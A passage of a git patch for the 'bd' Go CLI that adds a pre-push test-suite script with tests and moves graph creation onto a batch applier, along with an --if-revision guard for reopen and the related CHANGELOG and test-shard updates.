-tags=gms_pure_go ./test/docsync", + } { + t.Run(target, func(t *testing.T) { + out := makeDryRun(t, target) + if !strings.Contains(out, want) { + t.Errorf("make %s does not run %q:\n%s", target, want, out) + } + if strings.Contains(out, fakeMakeBazel+" test") { + t.Errorf("make %s runs bazel test:\n%s", target, out) + } + }) + } +} + +// primaryMakeCallRE matches a call of a bazel-backed primary make target (not +// its -go twin or another target sharing the prefix). +var primaryMakeCallRE = regexp.MustCompile(`\bmake (test|check|check-docs)(\s|$|["'])`) + +// TestWorkflowsNameTheirTestEngine: a workflow runs bazel directly, or a +// Go-native suite through an explicit -go make target, never a primary name +// whose engine a reader would have to look up in the Makefile. +func TestWorkflowsNameTheirTestEngine(t *testing.T) { + root := sourceRepoRoot(t) + files, err := filepath.Glob(filepath.Join(root, ".github", "workflows", "*.y*ml")) + if err != nil || len(files) == 0 { + t.Fatalf("glob workflows: %v (%d files)", err, len(files)) + } + for _, file := range files { + body, err := os.ReadFile(file) + if err != nil { + t.Fatalf("read %s: %v", file, err) + } + for i, line := range strings.Split(string(body), "\n") { + trimmed := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "- ")) + if strings.HasPrefix(trimmed, "#") || strings.HasPrefix(trimmed, "name:") { + continue + } + if m := primaryMakeCallRE.FindStringSubmatch(line); m != nil { + t.Errorf("%s:%d calls `make %s`, which runs bazel; call `make %s-go` for the Go-native suite or bazel directly", + filepath.Base(file), i+1, m[1], m[1]) + } + } + } +} diff --git a/scripts/pre-push-suite.sh b/scripts/pre-push-suite.sh new file mode 100755 index 000000000..9041d5527 --- /dev/null +++ b/scripts/pre-push-suite.sh @@ -0,0 +1,140 @@ +#!/usr/bin/env bash +# The push-time test suite, run by .githooks/pre-push when a pushed branch +# changes Go or Bazel inputs: bazel.yml's test lane, `bazel test //... +# --config=ci`, with the action keys CI uses, so a push reuses what CI and +# earlier pushes already computed. +# +# BD_PREPUSH_SUITE picks where it runs (default auto): +# auto remote-exec when bazel's effective options name a remote executor +# (a maintainer's .bazelrc.local, an agent host's ~/.bazelrc); +# fork-cache when bazel is installed without one; go when bazel is +# not installed. +# rbe --config=remote-exec; fails when no rc file names an executor (the +# suite would otherwise compile and run on this machine). +# cache --config=fork-cache: the anonymous read-only cache; misses run on +# this machine and nothing is uploaded. +# go make test-go (plain go test through scripts/test.sh), under a +# banner saying it is not what CI enforces. +# BAZEL and MAKE override the binaries. Bypass the hook: git push --no-verify. +set -euo pipefail + +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$repo_root" + +bazel_bin="${BAZEL:-bazel}" +make_bin="${MAKE:-make}" +mode="${BD_PREPUSH_SUITE:-auto}" +executor="" +# Why the push runs plain go test instead of bazel, and how to get bazel back. +go_why="BD_PREPUSH_SUITE=go" +go_fix="unset BD_PREPUSH_SUITE to run the bazel suite" + +# The go suite is not what CI enforces: bazel.yml gates on bazel test, whose +# nogo lint/vet, formatting and repository-guard targets have no go test +# counterpart. Say so loudly, with the reason, so a green push is not read as +# CI parity. +announce_go_suite() { + { + echo "pre-push: ========================================================================" + echo "pre-push: running make test-go (plain go test): NOT the bazel suite CI gates on." + echo "pre-push: why: $go_why" + echo "pre-push: CI runs bazel test //... --config=ci (.github/workflows/bazel.yml); a push" + echo "pre-push: that passes here can still fail there (nogo lint/vet, formatting, guards)." + echo "pre-push: fix: $go_fix" + echo "pre-push: ========================================================================" + } >&2 +} + +# The remote executor some rc file names for this workspace, empty for none: +# the last non-empty --remote_executor among the rc options Bazel reads +# (system, workspace with .bazelrc.local and user.bazelrc, home) and the +# remote-exec config's definitions, from `bazel info --announce_rc`. Bazel's +# own reading of every rc, not a grep of one file, so an agent host's +# ~/.bazelrc executor counts. Fails, printing Bazel's error, when Bazel cannot +# read its options. +effective_remote_executor() { + local announced + if ! announced="$("$bazel_bin" info --announce_rc --config=remote-exec release 2>&1 >/dev/null)"; then + printf '%s\n' "$announced" >&2 + return 1 + fi + printf '%s\n' "$announced" | awk ' + /^INFO: (Reading rc options|Options provided by the client)/ { section = 1; next } + /^[^[:space:]]/ { section = 0 } + !section && !/^INFO: Found applicable config definition [^ ]*:remote-exec / { next } + { + for (i = 1; i <= NF; i++) { + value = "" + if ($i ~ /^--remote_executor=/) { + value = substr($i, length("--remote_executor=") + 1) + } else if ($i == "--remote_executor" && i < NF) { + value = $(i + 1) + } + if (value != "") { + executor = value + } + } + } + END { print executor }' +} + +# Sets $executor, or fails the push: an unreadable option set is no evidence +# for either mode. +probe_executor() { + if ! executor="$(effective_remote_executor)"; then + echo "pre-push: bazel info could not read this workspace's options (above); fix the rc, or set BD_PREPUSH_SUITE=rbe|cache|go" >&2 + exit 2 + fi +} + +have_bazel() { + command -v "$bazel_bin" >/dev/null 2>&1 +} + +case "$mode" in +auto) + if ! have_bazel; then + go_why="bazel is not installed" + go_fix="install bazelisk as bazel (CONTRIBUTING.md \"Building and testing\")" + mode=go + else + probe_executor + if [ -n "$executor" ]; then + mode=rbe + else + mode=cache + fi + fi + ;; +go | cache) ;; +rbe) + if have_bazel; then + probe_executor + if [ -z "$executor" ]; then + echo "pre-push: BD_PREPUSH_SUITE=rbe but no rc file names a --remote_executor; configure one (engdocs/TESTING.md \"Building and testing\") or use BD_PREPUSH_SUITE=cache|go" >&2 + exit 2 + fi + fi + ;; +*) + echo "pre-push: BD_PREPUSH_SUITE=$mode is not one of auto, rbe, cache, go" >&2 + exit 2 + ;; +esac + +case "$mode" in +go) + announce_go_suite + exec "$make_bin" test-go + ;; +rbe) config=remote-exec ;; +cache) config=fork-cache ;; +esac + +if ! have_bazel; then + echo "pre-push: BD_PREPUSH_SUITE=$mode needs bazel on PATH; install bazelisk or use BD_PREPUSH_SUITE=go" >&2 + exit 2 +fi + +echo "pre-push: bazel test //... --config=ci --config=$config${executor:+ on $executor} (BD_PREPUSH_SUITE=go runs plain go test instead)" >&2 +exec "$bazel_bin" test //... --config=ci "--config=$config" diff --git a/scripts/pre_push_suite_test.go b/scripts/pre_push_suite_test.go new file mode 100644 index 000000000..9e4a96703 --- /dev/null +++ b/scripts/pre_push_suite_test.go @@ -0,0 +1,157 @@ +package scripts_test + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// scripts/pre-push-suite.sh is the push-time suite .githooks/pre-push runs +// when a pushed branch changes Go or Bazel inputs: bazel.yml's test lane +// (`bazel test //... --config=ci`), remotely when some rc names an executor, +// else through the read-only fork cache. Plain go test runs only when bazel +// cannot (or BD_PREPUSH_SUITE=go asks for it), and then under a banner, so +// a green push is never read as CI parity. + +type prePushSuiteRun struct { + out string + bazel string + make string + exitErr error +} + +// runPrePushSuite runs the suite with fake bazel and make that log their +// arguments. announce is what the fake `bazel info --announce_rc` prints to +// stderr; bazel "missing" points BAZEL at a path that does not exist. +func runPrePushSuite(t *testing.T, bazel, announce string, env ...string) prePushSuiteRun { + t.Helper() + bash := requireHostTool(t, "bash") + dir := t.TempDir() + bazelLog := filepath.Join(dir, "bazel.log") + makeLog := filepath.Join(dir, "make.log") + writeExecutable := func(name, body string) string { + path := filepath.Join(dir, name) + if err := os.WriteFile(path, []byte("#!/usr/bin/env bash\n"+body), 0o755); err != nil { + t.Fatal(err) + } + return path + } + fakeBazel := writeExecutable("bazel", `if [ "$1" = info ]; then printf '%s\n' "$FAKE_ANNOUNCE" >&2; echo release 9; exit 0; fi +printf '%s\n' "$*" >>"`+bazelLog+`" +`) + fakeMake := writeExecutable("make", `printf '%s\n' "$*" >>"`+makeLog+`" +`) + if bazel == "missing" { + fakeBazel = filepath.Join(dir, "no-such-bazel") + } + + cmd := exec.Command(bash, filepath.Join(sourceRepoRoot(t), "scripts", "pre-push-suite.sh")) + for _, entry := range os.Environ() { + if name, _, _ := strings.Cut(entry, "="); name == "BD_PREPUSH_SUITE" { + continue + } + cmd.Env = append(cmd.Env, entry) + } + cmd.Env = append(cmd.Env, "BAZEL="+fakeBazel, "MAKE="+fakeMake, "FAKE_ANNOUNCE="+announce) + cmd.Env = append(cmd.Env, env...) + out, err := cmd.CombinedOutput() + read := func(path string) string { + data, _ := os.ReadFile(path) + return strings.TrimSpace(string(data)) + } + return prePushSuiteRun{out: string(out), bazel: read(bazelLog), make: read(makeLog), exitErr: err} +} + +const announceWithExecutor = `INFO: Reading rc options for 'info' from /home/u/.bazelrc: + Inherited 'build' options: --remote_executor=grpcs://rbe.example:443 --jobs=64` + +const announceWithoutExecutor = `INFO: Reading rc options for 'info' from /w/.bazelrc: + Inherited 'common' options: --enable_bzlmod` + +func TestPrePushSuiteRunsBazelTestLane(t *testing.T) { + for _, tc := range []struct { + name, announce string + env []string + want string + }{ + {"auto with an executor", announceWithExecutor, nil, "test //... --config=ci --config=remote-exec"}, + {"auto without an executor", announceWithoutExecutor, nil, "test //... --config=ci --config=fork-cache"}, + {"explicit cache", announceWithExecutor, []string{"BD_PREPUSH_SUITE=cache"}, "test //... --config=ci --config=fork-cache"}, + {"explicit rbe", announceWithExecutor, []string{"BD_PREPUSH_SUITE=rbe"}, "test //... --config=ci --config=remote-exec"}, + } { + t.Run(tc.name, func(t *testing.T) { + run := runPrePushSuite(t, "present", tc.announce, tc.env...) + if run.exitErr != nil { + t.Fatalf("suite failed: %v\n%s", run.exitErr, run.out) + } + if run.bazel != tc.want { + t.Errorf("bazel ran %q, want %q\n%s", run.bazel, tc.want, run.out) + } + if run.make != "" { + t.Errorf("make ran %q; the bazel suite needs no go fallback\n%s", run.make, run.out) + } + }) + } +} + +func TestPrePushSuiteRbeWithoutExecutorFails(t *testing.T) { + run := runPrePushSuite(t, "present", announceWithoutExecutor, "BD_PREPUSH_SUITE=rbe") + if run.exitErr == nil || run.bazel != "" { + t.Fatalf("BD_PREPUSH_SUITE=rbe without an executor: err %v, bazel ran %q\n%s", run.exitErr, run.bazel, run.out) + } +} + +func TestPrePushSuiteGoFallbackIsAnnounced(t *testing.T) { + for _, tc := range []struct { + name, bazel, why string + env []string + }{ + {"bazel missing", "missing", "bazel is not installed", nil}, + {"explicit go", "present", "BD_PREPUSH_SUITE=go", []string{"BD_PREPUSH_SUITE=go"}}, + } { + t.Run(tc.name, func(t *testing.T) { + run := runPrePushSuite(t, tc.bazel, announceWithExecutor, tc.env...) + if run.exitErr != nil { + t.Fatalf("suite failed: %v\n%s", run.exitErr, run.out) + } + if run.make != "test-go" || run.bazel != "" { + t.Errorf("ran make %q, bazel %q; want make test-go only\n%s", run.make, run.bazel, run.out) + } + for _, want := range []string{"NOT the bazel suite CI gates on", "why: " + tc.why, "bazel test //... --config=ci"} { + if !strings.Contains(run.out, want) { + t.Errorf("go fallback banner lacks %q:\n%s", want, run.out) + } + } + }) + } +} + +func TestPrePushSuiteRejectsUnknownMode(t *testing.T) { + run := runPrePushSuite(t, "present", announceWithExecutor, "BD_PREPUSH_SUITE=sometimes") + if run.exitErr == nil || run.bazel != "" || run.make != "" { + t.Fatalf("unknown mode: err %v, bazel %q, make %q\n%s", run.exitErr, run.bazel, run.make, run.out) + } +} + +// The hook runs the suite only for branch pushes whose commits change Go or +// Bazel inputs; a tag push, a deletion, or a docs-only push skips it. +func TestPrePushHookRunsSuiteOnlyForGoChanges(t *testing.T) { + body := readPolicyFile(t, sourceRepoRoot(t), ".githooks/pre-push") + for _, want := range []string{ + `"$repo_root/scripts/pre-push-suite.sh" managed { + t.Errorf(".githooks/pre-push must run the suite before the managed beads section") + } +} From d8d8bf587ba1e2f1dd49dbf2ab736cac3c471fae Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 07:53:35 +0000 Subject: [PATCH 037/213] feat(cli): bd create --graph via one atomic BatchApplier request; --if-revision on bd reopen (#7209) * feat(cli): bd create --graph via BatchApplier (spawner_id, thread_id) Reapplies S11's graph-batch-apply half onto origin/main's post-#7203 state: `bd create --graph` now builds its plan through issueops.BatchApplier instead of the removed buildDomainGraphPlan path (create_proxied_server.go shrinks accordingly), spawner_id is stamped only when a node names a spawner (RunBatchApplyStampsSpawnerIDOnlyWhenNamed conformance case), and thread_id survives translation into issueops.DepAddItem alongside the rest of GraphApplyEdge/GraphApplyNodeDep. Entirely independent of #7203's --if-revision work: no file in this commit overlaps #7203's or #7205's changed files. Co-Authored-By: Claude Sonnet 5 * feat(cli): extend #7203's --if-revision guard to bd reopen #7203 (37acca96d) added --if-revision to update/close/assign/delete but not reopen, even though issueops.ReopenRequest.ExpectedVersion already existed upstream. Wire reopen.go and reopen_proxied_server.go through the same parseIfRevisionFlag / requireSingleIfRevisionID / reportIfRevisionFailure / ifRevisionFlagHelp helpers #7203 introduced, so reopen gets identical one-id-only, exit-13-on-mismatch, gascity- compatible-body behavior as the other four verbs, with no new helper surface of its own. Co-Authored-By: Claude Sonnet 5 * test(cli): gc-matcher decode pin and proxied-server --if-revision coverage #7203 never ran its mismatch body through gc's actual decode logic (only through bd's own JSON assertions), and it only exercises --if-revision through the embedded/direct route -- the proxied-server path (*_proxied_server.go's uow-backed preflight/apply) had no coverage at all on either side. - if_revision_gc_matcher_test.go: a faithful port of gc's bdstore_conditional.go decode logic, run against a real built bd for all five guarded verbs (including reopen). Confirms against #7203's actual numeric-only body that no decimal-string twins are needed: encoding/json decodes a JSON number straight into an int64 struct field with no float64 intermediate, so there is no precision loss for gc's matcher to lose above 2^53 the way there would be decoding into an untyped interface{}. - if_revision_proxied_integration_test.go: proxied-server-leg coverage for all five verbs (update/close/reopen/delete/assign), using a numeric-only proxiedPreconditionBody matching #7203's shape exactly (no _str fields, since the matcher test above shows none are needed). reopen's case is its only --if-revision coverage on the proxied route at all, since #7203 did not add the flag to reopen. Both verified for real: TestGCConditionalMatcherDecode via BEADS_TEST_EMBEDDED_DOLT=1, the five TestIfRevisionGuardProxied* tests via BEADS_TEST_PROXIED_SERVER=1 BEADS_TEST_DOLT_SERVER=local against the pinned dolt 2.2.0 binary (no Docker needed). Co-Authored-By: Claude Sonnet 5 * docs(changelog): document graph-batch-apply and if-revision-reopen deltas Neither #7203 (--if-revision) nor #7205 (batch create/import perf) touched CHANGELOG.md, so document this branch's two deltas on top of them directly: bd create --graph via BatchApplier (spawner_id/thread_id, field-survival test, real-store hierarchy/cycle scenarios), and --if-revision's extension to bd reopen plus its gc-matcher decode pin and new proxied-server coverage. Co-Authored-By: Claude Sonnet 5 * fix(cli): adapt reopen's reportIfRevisionFailure call to #7216's signature #7216 (merged to main, landed in this rebase) added a fourth ifRevision *int64 parameter to reportIfRevisionFailure for reassign-fence disambiguation. Pass bd reopen's own declared --if-revision value at both call sites (direct and proxied-server paths) to match. Co-Authored-By: Claude Sonnet 5 * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37290168028 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. * fix(cli): evaluate reopen's --if-revision guard before the already-open short-circuit bd reopen's direct route checked issue.Status == StatusOpen before ever calling ops.Reopen, so a stale --if-revision guard against an already-open issue silently returned the "already open" no-op (exit 0) instead of the precondition_failed refusal (exit 13) every other guarded verb gives for a stale token. ops.Reopen itself already evaluates ExpectedVersion first (ExecuteReopen -> CheckVersionInTx) on both the dolt and embeddeddolt backends, and the proxied-server route already called through unconditionally -- only the direct route's pre-check bypassed it. Fix: skip the already-open pre-check when --if-revision is set, letting ops.Reopen evaluate the revision guard first. Without --if-revision, today's behavior for already-open issues is unchanged. Tests: - if_revision_reopen_embedded_test.go (new): direct route, all four combinations (already-open/closed x stale/matching revision). Verified live that already_open_mismatch_refuses fails against the pre-fix ordering and passes against the fix. - if_revision_proxied_integration_test.go: added the same already-open coverage to TestIfRevisionGuardProxiedReopen to confirm the proxied-server route already behaved correctly and keeps doing so. Also documents in CHANGELOG.md that a `bd create --graph` plan over issueops.MaxApplyBatchItems (1000) is refused outright with GraphApplyTooLargeError (non-blocking review item). Co-Authored-By: Claude Sonnet 5 * fix(cli): put guard tests in CI lanes; fence unguarded reopen errors Maintainer fixup for #7209, review loop iteration 1. It replays the prior adoption's stranded fixup (f71ac4f66) on top of the contributor's own fix for the direct-route reopen guard (266cacfca1). The contributor's fence and tests are kept, and the fixup's overlapping reopen fence and open-issue pins are dropped. CI lanes: seven env-gated tests matched no lane's discovery pattern, so no CI job ran them, including the reopen fix's own pin. The proxied tests are now TestProxiedServerIfRevisionGuard{Update,Close,Reopen,Delete, Assign}. The gc matcher test moves to if_revision_gc_matcher_embedded_test.go as TestEmbeddedGCConditionalMatcherDecode, and the direct reopen test is TestEmbeddedIfRevisionReopenGuardDirect. BUILD.bazel and both shard manifests are regenerated, and each renamed test is selected by exactly one shard of every lane. bd reopen: - reportIfRevisionFailure now runs only when --if-revision is set, on both routes, as update, assign and delete already do. Since #7256 the classifier maps storage.ErrNotFound to precondition_failed, so an unguarded reopen that lost a race with a delete reported a guard refusal (exit 13) for a command that carried no guard. - The gc matcher test gains a reopen_open row: a stale guard on an open issue gets the same refusal body. The matching-guard no-op subtest now also checks the "already open" line and that the revision did not move. bd create --graph: - A node naming both a plan-local parent and a parent_id is parented under the plan key again, as both legs did before the BatchApplier translation and as the dry-run preview and the local cycle check assume (TestBuildGraphApplyBatchRequestParentKeyWinsOverParentID). - Removed dead code: graphApplyParentDepPairs, graphApplyDepPairKey and GraphApplyUnsupportedFieldError, with the helper-only test. - A path from a node's parent to the node through a waits-for hop is now stored, as bd dep add and bd batch apply already store it, because the shared end gate walks the scheduling edges only. That shape can stall ready work once the spawner has an open child. The acceptance is documented in the CHANGELOG and the buildGraphApplyBatchRequest comment and pinned by TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor. Refusing the shape belongs in the shared role (types.IsSchedulingEdge), for every front door at once; that is a follow-up. - The deleted fake-store rejection scenarios are ported to real-store tests: reverse parent-to-child blocking edges, a reverse parent-child edge cycle, and the end gate alone with SkipPerEdgeCycleCheck set. - The graphApplyEdgeBatchMetadata comment names the real issueops.StampWaitsForSpawnerID. CHANGELOG: the spawner stamp is described as a waits-for edge's metadata.spawner_id, and the reopen entry says a guarded reopen of an open issue is judged against the guard on both routes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(cli): name #7292 in the waits-for acceptance marker Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 2 + .github/scripts/proxied-cmd-test-shards.txt | 5 + CHANGELOG.md | 48 + backend/conformance/batch_apply_contract.go | 57 ++ backend/conformance/role_bundle_cases.go | 1 + cmd/bd/BUILD.bazel | 5 +- cmd/bd/create_proxied_server.go | 113 +-- cmd/bd/create_proxied_server_test.go | 145 --- cmd/bd/graph_apply.go | 592 +++++------ cmd/bd/graph_apply_execution_test.go | 636 +++++++++++- cmd/bd/graph_apply_execution_unit_test.go | 956 ------------------ cmd/bd/graph_apply_test.go | 667 +++++++++++- ...raph_apply_thread_spawner_embedded_test.go | 115 +++ .../if_revision_gc_matcher_embedded_test.go | 194 ++++ .../if_revision_proxied_integration_test.go | 290 ++++++ cmd/bd/if_revision_reopen_embedded_test.go | 99 ++ cmd/bd/proxied_lookup_failure_test.go | 2 +- cmd/bd/reopen.go | 49 +- cmd/bd/reopen_proxied_server.go | 16 +- .../storage/dolt/batch_apply_contract_test.go | 5 + .../embeddeddolt/batch_apply_contract_test.go | 3 + internal/storage/issueops/batch_apply.go | 48 +- internal/storage/uow/batch_applier.go | 10 +- .../storage/uow/batch_apply_contract_test.go | 3 + issueops/batchapplier.go | 21 + 25 files changed, 2506 insertions(+), 1576 deletions(-) delete mode 100644 cmd/bd/graph_apply_execution_unit_test.go create mode 100644 cmd/bd/graph_apply_thread_spawner_embedded_test.go create mode 100644 cmd/bd/if_revision_gc_matcher_embedded_test.go create mode 100644 cmd/bd/if_revision_proxied_integration_test.go create mode 100644 cmd/bd/if_revision_reopen_embedded_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 11dc95811..6b4d1dfd0 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -287,9 +287,11 @@ 50 15 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget 50 15 TestEmbeddedEpicCloseEligibleReasonFlag 50 15 TestEmbeddedExplicitHierarchicalParentEdges +50 15 TestEmbeddedIfRevisionReopenGuardDirect 50 15 TestEmbeddedVersionConcurrent 50 16 TestEmbeddedBlockedLabelFilters +50 16 TestEmbeddedGCConditionalMatcherDecode 50 16 TestEmbeddedGateInheritsDownParentChain 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 59ca95906..92b21b1d4 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -258,6 +258,7 @@ 30 2 TestProxiedServerDelete 30 2 TestProxiedServerDeleteForceOrphans +30 2 TestProxiedServerIfRevisionGuardAssign 30 2 TestProxiedServerListComments 30 2 TestProxiedServerPromote 30 2 TestProxiedServerTypesAgreeWithCreate @@ -361,6 +362,7 @@ 30 17 TestProxiedServerClose 30 17 TestProxiedServerConfigConcurrent 30 17 TestProxiedServerDeleteConcurrent +30 17 TestProxiedServerIfRevisionGuardUpdate 30 17 TestProxiedServerSearch 30 17 TestProxiedServerServeReadParity 30 17 TestProxiedServerStatus @@ -374,6 +376,7 @@ 30 19 TestProxiedServerCreate2 30 19 TestProxiedServerEdit +30 19 TestProxiedServerIfRevisionGuardReopen 30 19 TestProxiedServerPourRejectsEnumViolatingVar 30 19 TestProxiedServerReassignFence 30 19 TestProxiedServerUpdateWisp @@ -431,6 +434,7 @@ 30 26 TestProxiedServerState 30 27 TestProxiedServerBlocked +30 27 TestProxiedServerIfRevisionGuardClose 30 27 TestProxiedServerMolLastActivity 30 27 TestProxiedServerMolStale 30 27 TestProxiedServerMoleculeFrontDoorWriteParity @@ -448,6 +452,7 @@ 30 29 TestProxiedServerDep 30 29 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge 30 29 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix +30 29 TestProxiedServerIfRevisionGuardDelete 30 29 TestProxiedServerTag 30 29 TestProxiedServerWispList diff --git a/CHANGELOG.md b/CHANGELOG.md index 4aad8bdc1..51577f7ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,45 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- `bd create --graph` now plans its batch through `issueops.BatchApplier` + instead of the old `buildDomainGraphPlan` path, so a graph create gets the + same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's + `metadata.spawner_id` is stamped only when that edge names a spawner + (never defaulted onto an edge that names none), and `thread_id` now survives + translation into the batch request alongside every other + `GraphApplyEdge`/`GraphApplyNodeDep` field — pinned by a reflection-based + field-coverage test (`TestBuildGraphApplyBatchRequestFieldsSurvive`) that + fails closed if a future field is added to either struct without an + explicit decision about where it goes. The hierarchy/cycle rejection + scenarios this path's local gates cover (blocking through existing or + planned hierarchy, transitive external-parent paths, reverse parent-to-child + edges, cycles hidden in an inline dep, combined scheduling cycles, the end + gate alone with the per-edge cycle probe skipped) are exercised against a + real Dolt store, not just skipped placeholders. A graph plan whose translated + BatchApplier items (nodes, edges and deferred assignments combined) exceed + `issueops.MaxApplyBatchItems` (1000) is now refused outright with + `GraphApplyTooLargeError` rather than silently chunked across several + transactions — `bd create --graph` promises one atomic request, so a plan + over the cap must be split by the caller into multiple `bd create --graph` + calls instead. +- `--if-revision` (gastownhall/beads#4682) is extended to `bd reopen`, the + one lifecycle verb #7203 did not add it to, reusing the same + `issueops.ReopenRequest.ExpectedVersion` field the library already + exposed and the same `parseIfRevisionFlag` / `requireSingleIfRevisionID` + / `reportIfRevisionFailure` helpers #7203 introduced for the other four + verbs — no new CLI surface, no new JSON body shape. A guarded reopen of an + issue that is already open is still judged against the guard on both + routes: a stale revision exits 13, and a matching one is the usual + "already open" no-op. A faithful port of + gc's (gascity) `bdstore_conditional.go` decode logic is now run against a + real built `bd` for all five guarded verbs + (`TestEmbeddedGCConditionalMatcherDecode`), confirming gc's matcher decodes + #7203's numeric-only `expected_revision`/`current_revision` body exactly + — no decimal-string twin fields are needed, since `encoding/json` decodes + a JSON number straight into an `int64` struct field with no lossy + `float64` intermediate. The proxied-server route (`*_proxied_server.go`'s + uow-backed preflight/apply path), previously untested for `--if-revision` + on any verb, now has coverage for all five. - `backends.Backend` gains an optional `OpenWith(ctx, beadsDir, OpenOptions)` and a `Remote bool` field for a registered extension backend (for example an HTTP client registrant). `OpenOptions{Credential, HTTPClient, @@ -75,6 +114,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- `bd create --graph` now stores a plan whose path from a node's parent to + the node runs through a `waits-for` edge; the graph-only preflight that + walked every ready-work edge used to refuse it. The plan now goes through + the same end gate as `bd dep add` and `bd batch apply`, which walks only + the scheduling edges (`blocks`, `conditional-blocks`, `parent-child`) and + stores this shape too. Avoid it in plans: once the `waits-for` spawner has + an open child, every issue in the shape, that child included, stays + blocked and none is ever ready. The same path through scheduling edges + alone is still refused. - `bd preflight --fix --json` no longer returns a `Version sync` fix result: version updates must keep all release surfaces aligned via `scripts/update-versions.sh`. - Release-tag pushes require Go and reject batches containing different release versions. diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 354f0cde3..5bb9e7056 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -1521,6 +1521,63 @@ func RunBatchApplyNormalizesTheWaitsForGate(t *testing.T, ctx context.Context, f }) } +// RunBatchApplyStampsSpawnerIDOnlyWhenNamed is the S11 review fix-up +// regression for HIGH-2: a waits-for DepAddItem must only acquire +// metadata.spawner_id when the caller explicitly named a spawner +// (HasSpawner=true, which bd create --graph sets when the plan declares +// edges[].spawner_key/spawner_id). An edge with no named spawner must keep +// its gate-only metadata untouched — stamping it unconditionally from the +// resolved target caused unnecessary rewrite/version churn when gc +// re-applies the same edge (see CHANGELOG.md). +func RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + spawner := fixture.IssuePrefix + "-spawner-named" + waiter := fixture.IssuePrefix + "-waiter-named" + batchApplySeedIssue(t, ctx, fixture, spawner, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, waiter, types.StatusOpen) + + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: waiter}, + Target: publicops.Ref{ID: spawner}, + Type: publicops.DepWaitsFor, + Metadata: `{"gate":"any-children"}`, + HasSpawner: true, + }}, + }, + }) + stored := batchApplyEdgeMetadata(t, ctx, fixture, waiter, spawner) + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(stored), &meta); err != nil { + t.Fatalf("stored named-spawner metadata %q: %v", stored, err) + } + if meta.SpawnerID != spawner { + t.Errorf("named-spawner edge spawner_id = %q, want %q (metadata %q)", meta.SpawnerID, spawner, stored) + } + + spawner2 := fixture.IssuePrefix + "-spawner-unnamed" + waiter2 := fixture.IssuePrefix + "-waiter-unnamed" + batchApplySeedIssue(t, ctx, fixture, spawner2, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, waiter2, types.StatusOpen) + + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: waiter2}, publicops.Ref{ID: spawner2}, publicops.DepWaitsFor, `{"gate":"any-children"}`), + }, + }) + stored2 := batchApplyEdgeMetadata(t, ctx, fixture, waiter2, spawner2) + var meta2 types.WaitsForMeta + if err := json.Unmarshal([]byte(stored2), &meta2); err != nil { + t.Fatalf("stored unnamed-spawner metadata %q: %v", stored2, err) + } + if meta2.SpawnerID != "" { + t.Errorf("unnamed-spawner edge must not stamp spawner_id, got %q (metadata %q)", meta2.SpawnerID, stored2) + } +} + // RunBatchApplySplicesAForwardMetadataRef pins the one exception to the // backward-only rule (CreateItem.MetadataRefs): "IT IS THE ONE PLACE A KEY MAY // REACH FORWARD … Every id is minted before any splice is applied, so the diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 22bf1173a..bf65f8e7b 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -44,6 +44,7 @@ var roleContractCases = []roleContract{ RunBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated, RunBatchApplyAcceptsAnExternalEdgeTarget, RunBatchApplyNormalizesTheWaitsForGate, + RunBatchApplyStampsSpawnerIDOnlyWhenNamed, RunBatchApplySplicesAForwardMetadataRef, RunBatchApplySplicesASelfMetadataRef, RunBatchApplyRefusesAMetadataRefNoItemDeclares, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 259324933..e0d894eb3 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -787,8 +787,8 @@ go_test( "global_identity_integration_test.go", "gomodcache_rehome_test.go", 